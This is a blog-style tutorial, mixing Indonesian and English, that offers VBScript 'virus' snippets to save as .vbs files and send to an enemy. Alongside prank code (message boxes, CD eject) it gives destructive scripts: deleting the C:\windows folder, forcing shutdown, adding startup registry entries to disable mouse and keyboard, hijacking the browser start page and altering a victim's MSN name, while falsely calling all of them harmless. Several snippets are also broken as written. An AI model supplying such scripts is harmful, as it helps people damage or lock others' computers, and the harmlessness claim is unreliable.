Skript Virus Visual Basic ( Notepad )

Membuat virus dengan sangat mudah hanya menggunakan skript Visual Basic di notepad. Virus ''I love you'' juga dibuat dengan ini.

1. Buka notepad.
2. masukan script di bawah ini.
3. Simpan sebagai/save as (.Vbs)
4. Kirim ke musuh anda :).

Berikut ini adalah beberapa script. Semua skrip ini tidak berbahaya, dan Anda dapat mengujinya sendiri.

buatlah pesan
msgbox "Hey Keparat"

pesan Anda sendiri dengan judul:
X = msgbox ("Hey Keparat", 1024, "MrLoco says: ")

an other input:
strPtn = InputBox("SOM 2x4=...")
If (strptn) = 8 Then: msgbox "Thats the right answere"
do
If (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...")
loop
msgbox "test test"

to make a "Inputbox"
a=inputbox("Whats your name?")
msgbox "Thats a weird name," +a

Site as a homepage
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
http://utuxsecrets.blogspot.com/

"System Beep"
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True

Open CD/DVD player:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject

Open and close CD player:
Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing

Delete a map:
' delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete

Make a map:
path = "C:\linux"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Open a map or document:
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("C:\Windows")

To close Windows:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next

Open Wordpad and write a text
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "ur text"
For enter you have to write ''{enter}

Change the name of internet explorer
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","MrLoco king of messblack.com"

This changes the name of your pc
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\RegisteredOwner", "Your name here"

to shut your mouse off
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"

To shut your keyboard off
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"

Change the msn name of your victim
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " YOUR TEKST"
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub

Semoga Anda dapat Mempelajarinya